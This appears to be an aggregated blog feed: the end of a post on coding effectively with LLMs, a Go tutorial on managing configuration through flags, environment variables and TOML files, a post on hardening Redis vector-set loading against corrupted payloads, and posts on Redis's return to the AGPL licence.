implementing or fixing some code, you need to provide extensive information to the LLM: papers, big parts of the target code base (all the code base if possible, unless this is going to make the context window so large than the LLM performances will be impaired). And a brain dump of all your understanding of what should be done. Such braindump must contain especially the following: * Hints about bad solutions that may look good, and why they could be suboptimal. * Hints about very good potential solutions, even if not totally elaborated by the humans still: LLMs can often use them in order to find the right path. * Clear goals of what should be done, the invariants we require, and even the style the code should have. For instance, LLMs tend to write Python code that is full of unnecessary dependencies, but prompting may help reducing this problem. C code tends to be, in my experience, much better. When dealing with specific technologies that are not so widespread / obvious, it is often a good idea to also add the documentation in the context window. For example when writing tests for vector sets, a Redis data type so new that LLMs don’t yet know about, I add the README file in the context: with such trivial trick, the LLM can use vector sets at expert level immediately. ## Use the right LLMs The most famous LLMs are not the best. Coding activities should be performed mostly with: * Gemini 2.5 PRO * Claude Opus 4 Gemini 2.5 PRO is, in my experience, semantically more powerful. Can spot more complex bugs, reason about more complex problems. Claude Opus may be better at writing new code sometimes (sometimes not), the user interface is more pleasant, and in general you need at least two LLMs to do some back and forth for complex problems in order to enlarge your (human) understanding of the design space. If you can pick just one, go for Gemini 2.5 PRO. The fundamental requirement for the LLM to be used is: don’t use agents or things like editor with integrated coding agents. You want to: * Always show things to the most able model, the frontier LLM itself. * Avoid any RAG that will show only part of the code / context to the LLM. This destroys LLMs performance. You must be in control of what the LLM can see when providing a reply. * Always be part of the loop by moving code by hand from your terminal to the LLM web interface: this guarantees that you follow every process. You are still the coder, but augmented. ## Conclusions Despite the large interest in agents that can code alone, right now you can maximize your impact as a software developer by using LLMs in an explicit way, staying in the loop. This will inevitably change in the future, as AI will improve, and eventually many coding tasks will be better served by AI alone: in this future, the human will decide the what & how, which is still crucial. But we are not yet there. In this exact moment taking control allows to use LLMs to produce the sharpest code possible: minimal when needed, using complex ideas when required. You will be able to do things that are otherwise at the borders of your knowledge / expertise while learning much in the process (yes, you can learn from LLMs, as you can learn from books or colleagues: it is one of the forms of education possible, a new one). Yet, everything produced will follow your idea of code and product, and will be of high quality and will not random fail because of errors and shortcomings introduced by the LLM. You will also retain a strong understanding of all the code written and its design. From time to time, it is wise to test what agents can do. But each time you feel they can’t do as well as you can, return to your terminal, and code with the help of AI (when you feel it can improve your output; there are times where you just are better alone). When this will be true, that agents will perform superb work, I’ll be the first to switch, and I’ll keep coding by myself just for passion. But for now, let’s skip the hype, and use AI at its best, that is: retaining control. There is another risk, however: of avoiding LLMs for some ideological or psychological refusal, accumulating a disadvantages (and failing to develop a large set of skills - hard to describe - needed to work with LLMs). Maybe this is really a case of "In medio stat virtus". Comments

• How to manage configuration settings in Go web applications
  Alex Edwards · Jun 30, 2025

  When I'm building a web application in Go, I prefer to use command-line flags to pass configuration settings to the application at runtime. But sometimes, the client I'm working with wants to use environment variables to store configuration settings, or the nature of the project means that storing settings in a TOML, YAML or JSON file is a better fit. And of course that's OK — it makes sense to be flexible and vary how configuration is managed based on the specific needs of a project and/or client. So, in this tutorial, I want to share the patterns that I use for parsing configuration settings — whether they come from flags, environment variables or files — and explain how I pass the settings onwards to where they are needed in the rest of the web application code. I'll also end with a short discussion about the relative pros and cons of the different approaches. It's a fairly detailed post, so here are the shortcut links for quick reference: Using command-line flags Using environment variables Using configuration files Passing settings to where they are needed Discussion Example code To illustrate the patterns in the rest of this tutorial, let's pretend that we have a web application where we want to configure the following five settings: Setting Type Description port int The port number the web application listens on verboseLogging bool Enables detailed request and error logging requestTimeout time.Duration Maximum duration to wait for a request to complete basicAuthUsername string Username required for HTTP Basic Authentication basicAuthPassword string Password required for HTTP Basic Authentication Regardless of where the configuration settings are coming from (flags, environment variables or a file), I'm quite strict about keeping all the code related to configuration settings isolated in one place, and reading in the configuration setting values right at the start of the program, before doing almost anything else. Most of the time, I prefer to store all the configuration setting values in a single config struct, like so: type config struct { port int verboseLogging bool requestTimeout time.Duration basicAuth struct { username string password string } } I like this because it feels very clear — all the configuration settings are contained in a single struct, along with their appropriate Go type, and you can easily see at a glance what configuration settings the application expects and supports. Using command-line flags As I mentioned at the start of this tutorial, using command-line flags with the standard library flag package is my preferred approach to managing configuration settings. With this approach, you explicitly pass the configuration values as part of the command when running the program. For example: $ go run main.go -port=9999 -verbose-logging=true -request-timeout=10s -basic-auth-username=admin -basic-auth-password="secr3tPa55word" In your Go code, you define a specific command-line flag using syntax like this: flag.IntVar(&cfg.port, "port", 4000, "The port number the web application listens on")` In this example code, we define a command-line flag named port that accepts an integer value and stores it at the location pointed to by the &cfg.port pointer. It will have a default value of 4000 if no corresponding -port flag is provided when starting the application, and the final parameter is a description that will be displayed when a user runs the program with the -help flag. Importantly, after you've defined all the command-line flags for your application, you need to call the flag.Parse() function to actually read in the values from the command-line arguments. Let's put this together in a very simple application that reads the command-line flag values into a config struct, and then prints them out. File: main.go package main import ( "flag" "fmt" "time" ) // The config struct holds all configuration settings for the application. type config struct { port int verboseLogging bool requestTimeout time.Duration basicAuth struct { username string password string } } func main() { // Create a new config instance. var cfg config // Define the command-line flags. Notice that we define these so that the values // are read directly into the appropriate config struct field, and set sensible default // values for each of them. flag.IntVar(&cfg.port, "port", 4000, "The port number the web application listens on") flag.BoolVar(&cfg.verboseLogging, "verbose-logging", false, "Enables detailed request and error logging") flag.DurationVar(&cfg.requestTimeout, "request-timeout", 5*time.Second, "Maximum duration to wait for a request to complete") flag.StringVar(&cfg.basicAuth.username, "basic-auth-username", "", "Username required for HTTP Basic Authentication") flag.StringVar(&cfg.basicAuth.password, "basic-auth-password", "", "Password required for HTTP Basic Authentication") // Parse the flags with the flag.Parse function. This is important! flag.Parse() // Print all configuration settings. fmt.Printf("Port: %d\n", cfg.port) fmt.Printf("Verbose Logging: %t\n", cfg.verboseLogging) fmt.Printf("Request Timeout: %v\n", cfg.requestTimeout) fmt.Printf("Basic Auth Username: %s\n", cfg.basicAuth.username) fmt.Printf("Basic Auth Password: %s\n", cfg.basicAuth.password) } If you're following along, go ahead and run the application with your own values in the command-line flags. You should see the same values printed out by the application, like so: $ go run main.go -port=9999 -verbose-logging=true -request-timeout=30s -basic-auth-username=admin -basic-auth-password="secr3tPa55word" Port: 9999 Verbose Logging: true Request Timeout: 30s Basic Auth Username: admin Basic Auth Password: secr3tPa55word If you don't provide a value for a specific flag, the application will revert to using the default value you specified. For example, if you don't provide a -port flag it will default to the value of 4000, like so: $ go run main.go -basic-auth-username=admin -basic-auth-password="secr3tPa55word" Port: 4000 Verbose Logging: false Request Timeout: 5s Basic Auth Username: admin Basic Auth Password: secr3tPa55word Help text One of the great things about the standard library flag package is the support for automatic help text. If you run your application with the flag -help, it will list all the available flags for the application, along with their accompanying help text and default values if appropriate. Like so: $ go run main.go -help Usage of /tmp/go-build2103583960/b001/exe/main: -basic-auth-password string Password required for HTTP Basic Authentication -basic-auth-username string Username required for HTTP Basic Authentication -port int The port number the web application listens on (default 4000) -request-timeout duration Maximum duration to wait for a request to complete (default 5s) -verbose-logging Enables detailed request and error logging Boolean flags For boolean flags, if you want to pass a value of true you can simply include the flag name without assigning a value. The following two commands are equivalent: $ go run main.go -verbose-logging=true $ go run main.go -verbose-logging In contrast, you always need to use -flag=false if you want to set a boolean flag value to false. Dashes You can use one or two dashes in front of a flag name, both work identically. The standard library flag package does not support 'short' flags, and the number of dashes has no effect on the behavior or any special meaning. So it's just a matter of personal taste which you use. The following two commands are equivalent: $ go run main.go -verbose-logging -request-timeout=30s $ go run main.go --verbose-logging --request-timeout=30s Invalid flags If you try to pass an invalid value as a command-line flag, the application will automatically exit with an error message and the help text for reference. For example, if you try to pass a non-integer value in the -port flag, the parsing would fail and the output would look like this: $ go run main.go -port=foobar invalid value "foobar" for flag -port: parse error Usage of /tmp/go-build2103583960/b001/exe/main: -basic-auth-password string Password required for HTTP Basic Authentication -basic-auth-username string Username required for HTTP Basic Authentication -port int The port number the web application listens on (default 4000) -request-timeout duration Maximum duration to wait for a request to complete (default 5s) -verbose-logging Enables detailed request and error logging exit status 2 Similarly, if you try to use a flag that as not been defined, the application will automatically exit with an error message and the help text. For example: $ go run main.go -foobar=baz flag provided but not defined: -foobar ...etc Custom flag types The flag package provides functions for reading command-line flag values into the following Go types: bool, int, int64, uint, uint64, float64, string and time.Duration. If you want to parse a command-line flag value into another Go type (such as time.Time or []string), you have a few different options. The simplest approach is to use the flag.Func() function, which I've written about here. Or you can also make your own custom type that implements the flag.Value or encoding.TextUnmarshaler interfaces, and define the flag using either the flag.Var() or flag.TextVar() functions respectively. I've shared a gist demonstrating how to do this here. Alternatively, there are third-party packages (such as spf13/viper) that you can use, which automatically support parsing command-line flags into a wider range of Go types. Personally, I've never felt it necessary to use these, but YMMV. Flagsets Lastly, if you want you can create flagsets, which act like a 'container' for a distinct set of command-line flags. It's rare that I need to use flagsets in a web application, but I do often use them when building CLI applications with multiple subcommands. There's a good tutorial about how to use flagsets here. Using environment variables First, I'll start by saying that you can use environment variables in conjunction with command-line flags if you want. Simply set your environment variables as normal, and use them in the command when starting your application. Like so: $ export VERBOSE_LOGGING="true" $ export REQUEST_TIMEOUT="30s" $ go run main.go -verbose-logging=$VERBOSE_LOGGING -request-timeout=$REQUEST_TIMEOUT But if you don't want to do this, you can read the values from environment variables directly into your Go code using the os.Getenv() function. This will return the value of the environment variable as a string, or the empty string "" if the environment variable doesn't exist. You can also use the os.LookupEnv() function to check whether a specific environment variable exists or not. To help read values from environment variables, I like to create an internal/env package containing some helper functions that convert the environment variable string to the appropriate Go type, and optionally set a default value for if the environment variable doesn't exist (just like command-line flags). For example: File: internal/env/env.go package env import ( "fmt" "os" "strconv" "time" ) func GetInt(key string, defaultValue int) int { value, exists := os.LookupEnv(key) if !exists { return defaultValue } intValue, err := strconv.Atoi(value) if err != nil { panic(fmt.Errorf("environment variable %s=%q cannot be converted to an int", key, value)) } return intValue } func GetBool(key string, defaultValue bool) bool { value, exists := os.LookupEnv(key) if !exists { return defaultValue } boolValue, err := strconv.ParseBool(value) if err != nil { panic(fmt.Errorf("environment variable %s=%q cannot be converted to a bool", key, value)) } return boolValue } func GetDuration(key string, defaultValue time.Duration) time.Duration { value, exists := os.LookupEnv(key) if !exists { return defaultValue } durationValue, err := time.ParseDuration(value) if err != nil { panic(fmt.Errorf("environment variable %s=%q cannot be converted to a time.Duration", key, value)) } return durationValue } func GetString(key string, defaultValue string) string { value, exists := os.LookupEnv(key) if !exists { return defaultValue } return value } In some projects, I use a twist on these helper functions and panic if a specific environment variable isn't set, rather than returning a default value. For example: func MustGetInt(key string) int { value, exists := os.LookupEnv(key) if !exists { panic(fmt.Errorf("environment variable %s must be set", key)) } intValue, err := strconv.Atoi(value) if err != nil { panic(fmt.Errorf("environment variable %s=%q cannot be converted to an int", key, value)) } return intValue } Note: If you're looking at this code and thinking that it is bad practice to call panic() rather than returning an error, you'd be right. But in the context where these helpers are used, it seems a reasonable thing to do. If our application can't load the configuration settings that it needs to operate on startup, it can't reasonably continue, and depending on what has failed to load it may not even be safe or sensible to execute any further code. Terminating the application by panicking doesn't seem inappropriate in this scenario. I've written more about this in the post When is it OK to panic in Go?. Using those helper functions in your application then looks a bit like this: File: main.go package main import ( "fmt" "time" "your-project/internal/env" ) type config struct { port int verboseLogging bool requestTimeout time.Duration basicAuth struct { username string password string } } func main() { var cfg config cfg.port = env.GetInt("PORT", 4000) cfg.verboseLogging = env.GetBool("VERBOSE_LOGGING", false) cfg.requestTimeout = env.GetDuration("REQUEST_TIMEOUT", 5*time.Second) cfg.basicAuth.username = env.GetString("BASIC_AUTH_USERNAME", "") cfg.basicAuth.password = env.GetString("BASIC_AUTH_PASSWORD", "") fmt.Printf("Port: %d\n", cfg.port) fmt.Printf("Verbose Logging: %t\n", cfg.verboseLogging) fmt.Printf("Request Timeout: %v\n", cfg.requestTimeout) fmt.Printf("Basic Auth Username: %s\n", cfg.basicAuth.username) fmt.Printf("Basic Auth Password: %s\n", cfg.basicAuth.password) } If you'd like to try this out, go ahead and add the necessary environment variables to your /etc/environment or ~/.profile files, or export them in your shell, and try running the application again. You should see the configuration settings reflected in the output, or any default values for ones that you didn't set. $ export PORT="9999" $ export VERBOSE_LOGGING="false" $ export BASIC_AUTH_USERNAME="admin" $ export BASIC_AUTH_PASSWORD="secr3tPa55word" $ go run main.go Port: 9999 Verbose Logging: false Request Timeout: 5s Basic Auth Username: admin Basic Auth Password: secr3tPa55word Using .env files If you're working on multiple projects on the same development machine (and not using separate containers for each project), it can become awkward to manage environment variables and avoid clashes across the projects. Rather than setting environment variables in /etc/environment or ~/.profile, a fairly common workaround is to create an .env file in your project containing the environment variables, like so: File: .env export PORT=5000 export VERBOSE_LOGGING=true export REQUEST_TIMEOUT=10s export BASIC_AUTH_USERNAME=admin export BASIC_AUTH_PASSWORD=secr3tPa55word Then you can source the .env file to export the variables in the current terminal session and run your Go application: $ source .env $ go run main.go Port: 5000 Verbose Logging: true Request Timeout: 10s Basic Auth Username: admin Basic Auth Password: secr3tPa55word Alternatively, if you don't want to keep running the source command, you can use the joho/godotenv package to automatically load the values from the .env file into the environment when your application starts up. Using configuration files The third option that I sometimes use is configuration files, which store all the settings in a single file on-disk. I normally only use these in projects where there are a lot of configuration settings, and loading them all via command-line flags would be onerous and error-prone. Or also, if the configuration settings are complex, with a deeply nested 'structure' to them. There are a lot of different formats that you can use for configuration files, such as TOML or YAML — or even JSON. They all have different advantages and disadvantages, and you'll be hard-pressed to find one that everybody agrees is 'perfect'. But whatever format you choose, there is probably a Go package that you can use to automatically parse values from the file into a config struct for you. For example, let's say that you want to use TOML and have a configuration file that looks like this: File: config.toml # Server configuration port = 4000 verbose_logging = true request_timeout = "10s" # Basic authentication settings [basic_auth] username = "admin" password = "secr3tPa55word" You can use the BurntSushi/toml package to read the file and unpack the contents to a config struct like so: File: main.go package main import ( "fmt" "log" "time" "github.com/BurntSushi/toml" ) // Make sure the struct fields are exported, so that the BurntSushi/toml package // can write to them, and use struct tags to map the TOML key/value pairs to the // appropriate struct field. type config struct { Port int `toml:"port"` VerboseLogging bool `toml:"verbose_logging"` RequestTimeout time.Duration `toml:"request_timeout"` BasicAuth struct { Username string `toml:"username"` Password string `toml:"password"` } `toml:"basic_auth"` } func main() { var cfg config // Load configuration settings from the config.toml file. metadata, err := toml.DecodeFile("config.toml", &cfg) if err != nil { log.Fatalf("error loading configuration: %v", err) } // Check for any undecoded keys in the config.toml file. if len(metadata.Undecoded()) > 0 { log.Fatalf("unknown configuration keys: %v", metadata.Undecoded()) } fmt.Printf("Port: %d\n", cfg.Port) fmt.Printf("Verbose Logging: %t\n", cfg.VerboseLogging) fmt.Printf("Request Timeout: %v\n", cfg.RequestTimeout) fmt.Printf("Basic Auth Username: %s\n", cfg.BasicAuth.Username) fmt.Printf("Basic Auth Password: %s\n", cfg.BasicAuth.Password) } Notice that in this code we're making use of the metadata returned by the toml.DecodeFile() function to check if any settings were not decoded successfully — which should help to catch typos or invalid keys in the TOML file. Passing settings to where they are needed Getting the configuration settings into the config struct, wherever they come from, is the first half of the puzzle. The second part is getting those settings to where you need them in your Go code. There are many different ways to approach this, and no single 'right' way. For small or medium sized web applications, I often use a pattern of creating an application struct which contains all the dependencies that my HTTP handlers need, and I implement the handlers as methods on the application struct. To make the configuration settings available to the HTTP handlers, I simply include the config struct as a field in application. For example: File: main.go package main import ( "flag" "fmt" "log/slog" "net/http" "os" "time" ) type config struct { port int verboseLogging bool requestTimeout time.Duration basicAuth struct { username string password string } } // The application struct contains the dependencies for the handlers, including // the config struct type application struct { config config logger *slog.Logger } func main() { logger := slog.New(slog.NewTextHandler(os.Stdout, nil)) var cfg config flag.IntVar(&cfg.port, "port", 4000, "The port number the web application listens on") flag.BoolVar(&cfg.verboseLogging, "verbose-logging", false, "Enables detailed request and error logging") flag.DurationVar(&cfg.requestTimeout, "request-timeout", 5*time.Second, "Maximum duration to wait for a request to complete") flag.StringVar(&cfg.basicAuth.username, "basic-auth-username", "", "Username required for HTTP Basic Authentication") flag.StringVar(&cfg.basicAuth.password, "basic-auth-password", "", "Password required for HTTP Basic Authentication") flag.Parse() app := &application{ config: cfg, logger: logger, } mux := http.NewServeMux() mux.HandleFunc("/", app.home) // Use the port configuration setting logger.Info("starting server", "port", cfg.port) err := http.ListenAndServe(fmt.Sprintf(":%d", cfg.port), mux) if err != nil { logger.Error(err.Error()) os.Exit(1) } } func (app *application) home(w http.ResponseWriter, r *http.Request) { // Use the verboseLogging configuration setting if app.config.verboseLogging { app.logger.Info("handling request", "method", r.Method, "path", r.URL.Path) } fmt.Fprintf(w, "Hello!") } If you run this application with the -verbose-logging flag, and make a HTTP request to localhost:4000, you should see the details of the request in the log output, similar to below — demonstrating that the config setting is correctly available to the handler. $ go run main.go -verbose-logging time=2025-06-27T14:15:40.230+02:00 level=INFO msg="starting server" port=4000 time=2025-06-27T14:15:48.705+02:00 level=INFO msg="handling request" method=GET path=/ In larger applications where I want to define my handlers outside of package main, or pass the config struct to functions in other packages, I normally define an exported Config struct in an internal/config package, and pass this around as necessary. For example, let's say that you have a project structure like so: ├── go.mod ├── go.sum ├── main.go └── internal ├── config │ └── config.go └── handlers └── home.go Then the contents of those .go files would look something like this: File: internal/config/config.go package config import "time" type Config struct { Port int VerboseLogging bool RequestTimeout time.Duration BasicAuth struct { Username string Password string } } File: internal/handlers/home.go package handlers import ( "fmt" "log/slog" "net/http" "your-project/internal/config" ) func Home(cfg config.Config, logger *slog.Logger) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { if cfg.VerboseLogging { logger.Info("handling request", "method", r.Method, "path", r.URL.Path) } fmt.Fprintf(w, "Hello!") } } File: main.go package main import ( "flag" "fmt" "log/slog" "net/http" "os" "time" "your-project/internal/config" "your-project/internal/handlers" ) func main() { logger := slog.New(slog.NewTextHandler(os.Stdout, nil)) var cfg config.Config flag.IntVar(&cfg.Port, "port", 4000, "The port number the web application listens on") flag.BoolVar(&cfg.VerboseLogging, "verbose-logging", false, "Enables detailed request and error logging") flag.DurationVar(&cfg.RequestTimeout, "request-timeout", 5*time.Second, "Maximum duration to wait for a request to complete") flag.StringVar(&cfg.BasicAuth.Username, "basic-auth-username", "", "Username required for HTTP Basic Authentication") flag.StringVar(&cfg.BasicAuth.Password, "basic-auth-password", "", "Password required for HTTP Basic Authentication") flag.Parse() mux := http.NewServeMux() mux.HandleFunc("/", handlers.Home(cfg, logger)) // Use the port configuration setting logger.Info("starting server", "port", cfg.Port) err := http.ListenAndServe(fmt.Sprintf(":%d", cfg.Port), mux) if err != nil { logger.Error(err.Error()) os.Exit(1) } } Obviously I'm using command-line flags in these examples, but the same patterns work for environment variables or config files too — once the config struct is loaded with the data, it doesn't matter where it originally came from and the code patterns are the same. Discussion If you've been in the web development world for a long time and buy into the 12-factor app principles (which I generally do), you might think that the correct approach is "just use environment variables". But over the years I've come to the conclusion that they have some drawbacks: I've been bitten more times than I want by bugs that were ultimately a result of an unset or unexpected value in an environment variable — and I think that part of the problem here is that environment variables aren't readily and easily observable in the same way that the values in command-line flags or a configuration file are. If you're working on multiple projects on the same development machine (rather than working in separate containers for each project), you have to manage the lack of natural isolation between environment variables... you need to make sure that there aren't any naming clashes, and that (for example) application A isn't accidentally using the DB_PASSWORD setting intended for application B. I've also seen a lot of Go codebases where configuration settings are read in using os.Getenv() at the point in the code where they are needed. This makes discoverability difficult — it's hard to look at an application's code and easily see what the expected configuration settings are. You can mitigate these issues with some of the techniques that we've discussed in this tutorial. If you're strict about reading all the settings into a single config struct at application startup, that addresses the discoverability problem. If you create helpers like env.MustGetInt() which panic if an environment variable isn't set, that helps to eliminate bugs that exist due to missing environment variables. And you can work around some of the environment variable isolation problems in development by using a .env file — but at that point, it might be worth considering whether a configuration file might be more appropriate. One of the big reasons that I like to use command-line flags is that you get a lot of stuff for free. You get automatic -help text, automatic type conversions, the ability to set defaults, and it handles invalid inputs and undefined flags nicely. Also, it's always very clear what configuration values are being used — you either explicitly pass the values when starting the application, or the default values hardcoded into your Go codebase are used. On top of that, most other gophers will be familiar with the flag package and you don't need any third-party dependencies. When I'm using command-line flags, I typically set the default values to things that are appropriate for a development environment. This is mainly so I don't have to keep typing long commands to run the application when actively developing it. In terms of application secrets, like I mentioned earlier, there's nothing stopping you from storing a specific secret in an environment variable and using it in conjunction with a command-line flag if you want. For example, if you store a password for your database user in a DB_PASSWORD environment variable, you can include it as a command-line flag value when starting the application like so: $ go run main.go -db-user=web -db-password=$DB_PASSWORD Or, although it is a bit more 'magical', you could even use the environment variable as the default value: flag.StringVar(&cfg.db.password, "db-password", os.Getenv("DB_PASSWORD"), "Database user password") So, for all these reasons, I tend to prefer using command-line flags for configuration. The big exception to this is when there are a lot of configuration settings, and it would be awkward to pass them all via command-line flags, or the settings have a deeply nested 'structure' to them. In these cases, I think it can be more practical and maintainable to store the settings in a TOML or JSON configuration file, and load them on application startup like we demonstrated earlier.

• Human coders are still better than LLMs
  Antirez · May 29, 2025

  This is a short story of how humans are still so much more capable of LLMs. Note that I'm not anti-AI or alike, you know it if you know me / follow me somewhere. I use LLMs routinely, like I did today, when I want to test my ideas, for code reviews, to understand if there are better approaches than what I had in mind, to explore stuff at the limit of my expertise, and so forth (I wrote a blog post about coding with LLMs almost two years, when it was not exactly cool: I was already using LLMs for coding and never stopped, I'll have to write an update, but that's not the topic of this post). But, still: the current level of AI is useful, great too, but so incredibly behind human intelligence, and I want to remark this as lately it is impossible to have balanced conversations. So, today I was working to Vector Sets for Redis, to fix a complicated bug: during the time I stopped working at Redis my colleagues introduced resistance against corruption RDB and RESTORE payloads, even when the checksum of the data passes. This feature is disabled by default, but provides an enhanced layer of safety for people wanting it. But… there is a but as big as an elephant: In order to make HNSWs fast to save into Redis RDBs and to load back, I serialized the *graph* representation, and not the element-vector pairs, otherwise I would have to re-insert back data into HNSWs, and that would be, like, 100 times slower (!). So I store all the links the nodes have with other nodes, as integers, and then I resolve them into pointers, it’s a nice trick and works great. But if you mix this and random corruptions of the representation, and the fact that my own twist on HNSWs enforce reciprocal links between nodes (I wrote my own implementation of HNSWs with many useful features, but reciprocal links are needed to enable many of them) then this could happen: 1. We load corrupted data that says A links to B, but B no longer links to A (corrupted node IDs). 2. We delete node B: since the reciprocity is violated, we don’t clear the link from A to B. 3. Then we scan the graph and once we are at B we access A: use-after-free :-D :-) :-| So after loading data, I need to check that every link is reciprocal, and in the vanilla case this is going to be O(N^2), for each node we need to scan all the levels, for each level all the neighbors of the node, and check that it also links to this node by scanning its links at that level. Not good. # Human vs LLM To start, I implemented the vanilla approach, to see if the fuzzer could no longer find the bug, and it worked indeed, but loading times for a big vector set with 20 million vectors went from 45 seconds to 90 or something. WTF. So I opened a Gemini 2.5 PRO chat and told the LLM, hey, what we can do here? Is there a super fast way to do so? The best solution that Gemini could find was to say: order the pointers of the neighbors links, so you can use binary search. Oh, well, sure, I know this, I’m not really sure if in arrays of 16/32 pointers this is going to be faster or slower. So I asked, anything else? Nope, no better solution. So I told it: look, what about when we see A linking B at level X we store in a hash table A:B:X (but we sort A and B always so that A>B, and links are the same whatever the direction), and when we see the link again we clean it, this time we just scan the whole thing as we are already doing when resolving IDs to pointers in the links, and if at the end the hash table is not empty, we know there is some link that must be non-reciprocal? Gemini told me it was a nice idea, but there was the snprintf() to create the key and the hashing time and so forth, but yep, it was better than what my original approach (even sorting pointers). I made it notice that snprintf() was not needed. We could just memcpy() pointers in a fixed sized key. It recognized that it was possible to do so, then I realized something… Hey, I told Gemini, what about using a fixed accumulator for A:B:X? No hash table at all. Each time we see a link (A:B:X, so 8+8+4 bytes) we xor it in the current accumulator of 12 bytes. If we store it twice, it cancels out, so at the end if the register is non-zero, we know something is odd! However I anticipated Gemini that this system was potentially subject to collisions, and to evaluate them. Even if this feature is normally turned off in Redis, when users enable such extra checks they also often expect some more protection against an attacker deliberately crafting bad payloads. Gemini was quite impressed about the idea, but still told that pointers are… you know, similar in structure, change of a few bits, so if there were three spurious links L1, L2, L3 it could happen that the xor between L1 and L2 was the same as the L3 bits, and we could have a false negative (zero register). I also noticed that allocators tend to be very predictable and externally guessable. I asked Gemini for ways to improve upon this: it got no great ideas. Then I thought, wait, we can actually hash this with a good enough hash function that is still fast, murmur-128 or alike (we don’t need it to have cryptographic properties for this task), and proposed the following schema to Gemini: 1. Take the link A:B:X, but use a seed obtained via /dev/urandom to prefix all the keys with it, so we actually have S:A:B:X. 2. We just xor the output of murmur-128(S:A:B:X) into the 128 bit register. 3. At the end, we check if the register is 0 (all links reciprocal). I asked Gemini to do an analysis of that, and it was finally happy, saying that this makes it a lot harder both to casually find orphaned links that happen to xor to 0 together, and even that an external attacker could ever use this in a useful way, since “S” is not known, there is to control the pointers too, and all that it is really hard to put together. Also, this feature is a best effort extra protection that you need to enable, it is normally off and to be practical it should not pose a too big performance penalty. Well, all this to say: I just finished the analysis and stopped to write this blog post, I’m not sure if I’m going to use this system (but likely yes), but, the creativity of humans still have an edge, we are capable of really thinking out of the box, envisioning strange and imprecise solutions that can work better than others. This is something that is extremely hard for LLMs. Still, to verify all my ideas, Gemini was very useful, and maybe I started to think at the problem in such terms because I had a “smart duck” to talk with. Comments

• What I learned during the license switch
  Antirez · May 02, 2025

  Yesterday, it was a very intense day. In Italy it was 1st of May, the workers holiday, so in the morning I went for a 4h walk in the Etna with friends Then at 6PM I was at home to release my blog post about the AGPL license switch, and I started following the comments, feedbacks, private messages, and I learned a few things in the process. 1. Regardless of the different few clauses, that IMHO make a difference, the AGPL vs SSPL main difference is that AGPL is "understood". In general, yesterday for the first time I realized that in licensing there is not just what you can do and can't do, but the degree a given license is understood, tested, adopted, ... 2. I was very touched by the words of Simon Willison on the matter (https://simonwillison.net/2025/May/1/redis-is-open-source-again/) because it is very peculiar that different persons, living in different parts of the world, but with a similar age and background in software, feel *so similar* about things. I, too, when was writing Vector Sets, was thinking: I would never use it if it wasn't going to be released under the AGPL (or other open source license I understand). This sentiment, multiplied by a non trivial fraction of the community, makes open source eventually win even in the complex software landscape that there is today. 3. People still care a lot about software distributions. Not that I didn't care, but in the past I burned my fingers with it. I was a very initial Linux user, with SlackWare 3.1 or something like that. During the years I wrote my device drivers, contributed a few patches to the kernel, during the years Debian had maybe ~10 packages of stuff that I wrote, from hping, to the Visitors web log analyzer, dump1090, Redis, and a few more. But, eventually, I started to see all the fragmentation, the rigidity of certain processes (binary compatibility of modules for the Linux kernel), the lack of a consistent design, the lack of a binary format for software distribution with all the libs inside, and so forth. I switched to MacOS on the desktop and continued using Linux on the server in a very pragmatic way, often times more happy to "tar xvzf software.tgz; make" than relying on what distributions offered. And, maybe, my obsession with shipping software with zero dependencies has something to do with it. But people still care a lot, and probably it is important to have Redis as distribution packages in many situations where you want to make things as automatic and reproducible as possible? Well, now there are many folks asking if Redis will re-enter the distributions. My take on that is simple: Redis and ValKey diverged already in a significant way, and will diverge a lot more in the future. I believe distributions should have both, so that users can have a choice, and sometimes this choice is forced by the features difference. Trivially: if you need to do vector similarity searches, you need to use Redis; if instead your company has a no-AGPL policy, you need to use ValKey, and so forth. 4. People are kind to me. In the comments around there were a few harsh takes, and this is normal and even healthy (after all it is part of the reason many companies believe more and more they can't use SSPL or other licenses but an OSI approved one). Yet, when addressing me personally, I see a lot of good words. I just want to say: thank you for all that. 5. We kinda live in a bubble. In one of the forums out there at some point somebody said: "But did you ever switched from Redis to one of the forks?", and there was a chain of comments: "never", "who cares if I can use it" and so forth. And this is true for ValKey too, that if people write apt-get install redis and ValKey is installed instead, and they use SET, GET, DEL, a few more, they don't care. What I mean is that software is no longer the one in 1998 (to use a very crucial and symbolic date for open source, the Internet, and myself) where we were all open source software license experts. Most people, especially the newer generations, have a different and more practical take. So all this is very important (vital, to me), but there is to understand that not every sensibility is alike. In the end, what is the most important aspect of all, is trying to ship good software. Comments

• Redis is open source again
  Antirez · May 01, 2025

  Five months ago, I rejoined Redis and quickly started to talk with my colleagues about a possible switch to the AGPL license, only to discover that there was already an ongoing discussion, a very old one, too. Many people, within the company, had the feeling that the AGPL was a better pick than SSPL, and while eventually Redis switched to the SSPL license, the internal discussion continued. I tried to give more strength to the ongoing pro-AGPL license side. My feeling was that the SSPL, in practical terms, failed to be accepted by the community. The OSI wouldn’t accept it, nor would the software community regard the SSPL as an open license. In little time, I saw the hypothesis getting more and more traction, at all levels within the company hierarchy. I’ll be honest: I truly wanted the code I wrote for the new Vector Sets data type to be released under an open source license. Writing open source software is too rooted in me: I rarely wrote anything else in my career. I’m too old to start now. This may be childish, but I wrote Vector Sets with a huge amount of enthusiasm exactly because I knew Redis (and my new work) was going to be open source again. I understand that the core of our work is to improve Redis, to continue building a good system, useful, simple, able to change with the requirements of the software stack. Yet, returning back to an open source license is the basis for such efforts to be coherent with the Redis project, to be accepted by the user base, and to contribute to a human collective effort that is larger than any single company. So, honestly, while I can’t take credit for the license switch, I hope I contributed a little bit to it, because today I’m happy. I’m happy that Redis is open source software again, under the terms of the AGPLv3 license. Now, time to go back to the terminal, to show Redis users some respect by writing the best code I’m able to write, and make Vector Sets more useful and practical: I have a few more ideas for improvements, and I hope that more will be stimulated by your feedback (it is already happening). Good hacking! P.S. Redis 8, the first version of Redis with the new license, is also GA today, with a many new features and speed improvements of the core: https://redis.io/blog/redis-8-ga/ You can also find the Redis CEO blog post here: https://redis.io/blog/agplv3/ Comments

• Organize your Go middleware without dependencies
  Alex Edwards · Apr 26, 2025

